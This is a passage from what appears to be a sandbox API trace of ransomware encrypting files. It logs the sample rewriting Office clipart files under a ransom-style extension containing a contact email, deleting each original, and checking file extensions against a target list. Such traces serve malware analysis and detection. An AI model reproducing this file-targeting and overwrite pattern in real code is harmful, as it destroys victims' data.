Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0256.832] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.832] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0256.833] GetLastError () returned 0x0 [0256.833] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xfc0, lpOverlapped=0x0) returned 1 [0256.869] WriteFile (in: hFile=0x3b4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xfd0, lpOverlapped=0x0) returned 1 [0256.870] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0256.870] WriteFile (in: hFile=0x3b4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0256.870] SetEndOfFile (hFile=0x3b4) returned 1 [0256.930] CloseHandle (hObject=0x3b4) returned 1 [0257.118] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.118] SetEndOfFile (hFile=0x548) returned 1 [0257.267] CloseHandle (hObject=0x548) returned 1 [0257.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0257.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.269] lstrlenW (lpString=".doc") returned 4 [0257.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.269] lstrlenW (lpString=".docx") returned 5 [0257.269] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.270] lstrlenW (lpString=".pdf") returned 4 [0257.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.270] lstrlenW (lpString=".xls") returned 4 [0257.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.270] lstrlenW (lpString=".xlsx") returned 5 [0257.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.270] lstrlenW (lpString=".ppt") returned 4 [0257.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.270] lstrlenW (lpString=".zip") returned 4 [0257.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.270] lstrlenW (lpString=".rar") returned 4 [0257.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.270] lstrlenW (lpString=".bz2") returned 4 [0257.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.270] lstrlenW (lpString=".7z") returned 3 [0257.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.270] lstrlenW (lpString=".dbf") returned 4 [0257.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.270] lstrlenW (lpString=".1cd") returned 4 [0257.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.270] lstrlenW (lpString=".jpg") returned 4 [0257.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.271] lstrlenW (lpString=".doc") returned 4 [0257.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.271] lstrlenW (lpString=".docx") returned 5 [0257.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.271] lstrlenW (lpString=".pdf") returned 4 [0257.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.271] lstrlenW (lpString=".xls") returned 4 [0257.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.271] lstrlenW (lpString=".xlsx") returned 5 [0257.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.271] lstrlenW (lpString=".ppt") returned 4 [0257.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.271] lstrlenW (lpString=".zip") returned 4 [0257.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.271] lstrlenW (lpString=".rar") returned 4 [0257.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.271] lstrlenW (lpString=".bz2") returned 4 [0257.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.271] lstrlenW (lpString=".7z") returned 3 [0257.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.271] lstrlenW (lpString=".dbf") returned 4 [0257.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.271] lstrlenW (lpString=".1cd") returned 4 [0257.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0257.272] lstrlenW (lpString=".jpg") returned 4 [0257.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.272] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0257.272] lstrlenW (lpString="HH01242_.WMF") returned 12 [0257.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0257.274] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=7340) returned 1 [0257.274] CloseHandle (hObject=0x548) returned 1 [0257.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0257.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0257.275] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.275] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0257.276] GetLastError () returned 0x0 [0257.276] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1cac, lpOverlapped=0x0) returned 1 [0257.811] WriteFile (in: hFile=0x53c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0257.812] ReadFile (in: hFile=0x548, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0257.812] WriteFile (in: hFile=0x53c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0257.812] SetEndOfFile (hFile=0x53c) returned 1 [0257.813] CloseHandle (hObject=0x53c) returned 1 [0257.813] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.813] SetEndOfFile (hFile=0x548) returned 1 [0257.816] CloseHandle (hObject=0x548) returned 1 [0257.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0258.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.237] lstrlenW (lpString=".doc") returned 4 [0258.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.237] lstrlenW (lpString=".docx") returned 5 [0258.237] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.237] lstrlenW (lpString=".pdf") returned 4 [0258.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.237] lstrlenW (lpString=".xls") returned 4 [0258.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.237] lstrlenW (lpString=".xlsx") returned 5 [0258.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.238] lstrlenW (lpString=".ppt") returned 4 [0258.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.238] lstrlenW (lpString=".zip") returned 4 [0258.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.238] lstrlenW (lpString=".rar") returned 4 [0258.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.238] lstrlenW (lpString=".bz2") returned 4 [0258.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.238] lstrlenW (lpString=".7z") returned 3 [0258.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.238] lstrlenW (lpString=".dbf") returned 4 [0258.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.238] lstrlenW (lpString=".1cd") returned 4 [0258.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.238] lstrlenW (lpString=".jpg") returned 4 [0258.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.239] lstrlenW (lpString=".doc") returned 4 [0258.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.239] lstrlenW (lpString=".docx") returned 5 [0258.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.239] lstrlenW (lpString=".pdf") returned 4 [0258.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.239] lstrlenW (lpString=".xls") returned 4 [0258.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.239] lstrlenW (lpString=".xlsx") returned 5 [0258.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.239] lstrlenW (lpString=".ppt") returned 4 [0258.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.239] lstrlenW (lpString=".zip") returned 4 [0258.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.239] lstrlenW (lpString=".rar") returned 4 [0258.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.240] lstrlenW (lpString=".bz2") returned 4 [0258.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.240] lstrlenW (lpString=".7z") returned 3 [0258.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.240] lstrlenW (lpString=".dbf") returned 4 [0258.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.240] lstrlenW (lpString=".1cd") returned 4 [0258.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0258.240] lstrlenW (lpString=".jpg") returned 4 [0258.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.240] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0258.240] lstrlenW (lpString="HH01461_.WMF") returned 12 [0258.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0258.242] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5958) returned 1 [0258.242] CloseHandle (hObject=0x488) returned 1 [0258.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0258.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0258.243] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.243] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0258.245] GetLastError () returned 0x0 [0258.245] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1746, lpOverlapped=0x0) returned 1 [0258.378] WriteFile (in: hFile=0x304, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1750, lpOverlapped=0x0) returned 1 [0258.380] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0258.380] WriteFile (in: hFile=0x304, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0258.380] SetEndOfFile (hFile=0x304) returned 1 [0258.380] CloseHandle (hObject=0x304) returned 1 [0258.381] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.381] SetEndOfFile (hFile=0x488) returned 1 [0258.396] CloseHandle (hObject=0x488) returned 1 [0258.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0258.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.399] lstrlenW (lpString=".doc") returned 4 [0258.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.399] lstrlenW (lpString=".docx") returned 5 [0258.399] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.399] lstrlenW (lpString=".pdf") returned 4 [0258.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.399] lstrlenW (lpString=".xls") returned 4 [0258.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.399] lstrlenW (lpString=".xlsx") returned 5 [0258.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.399] lstrlenW (lpString=".ppt") returned 4 [0258.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.399] lstrlenW (lpString=".zip") returned 4 [0258.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.399] lstrlenW (lpString=".rar") returned 4 [0258.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.400] lstrlenW (lpString=".bz2") returned 4 [0258.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.400] lstrlenW (lpString=".7z") returned 3 [0258.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.400] lstrlenW (lpString=".dbf") returned 4 [0258.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.400] lstrlenW (lpString=".1cd") returned 4 [0258.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.400] lstrlenW (lpString=".jpg") returned 4 [0258.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.400] lstrlenW (lpString=".doc") returned 4 [0258.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.400] lstrlenW (lpString=".docx") returned 5 [0258.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.400] lstrlenW (lpString=".pdf") returned 4 [0258.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.400] lstrlenW (lpString=".xls") returned 4 [0258.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.401] lstrlenW (lpString=".xlsx") returned 5 [0258.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.401] lstrlenW (lpString=".ppt") returned 4 [0258.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.401] lstrlenW (lpString=".zip") returned 4 [0258.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.401] lstrlenW (lpString=".rar") returned 4 [0258.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.401] lstrlenW (lpString=".bz2") returned 4 [0258.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.401] lstrlenW (lpString=".7z") returned 3 [0258.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.401] lstrlenW (lpString=".dbf") returned 4 [0258.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.401] lstrlenW (lpString=".1cd") returned 4 [0258.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0258.401] lstrlenW (lpString=".jpg") returned 4 [0258.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.402] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0258.402] lstrlenW (lpString="HH01875_.WMF") returned 12 [0258.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0258.794] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2616) returned 1 [0258.794] CloseHandle (hObject=0x42c) returned 1 [0258.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0258.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0258.795] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0258.795] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 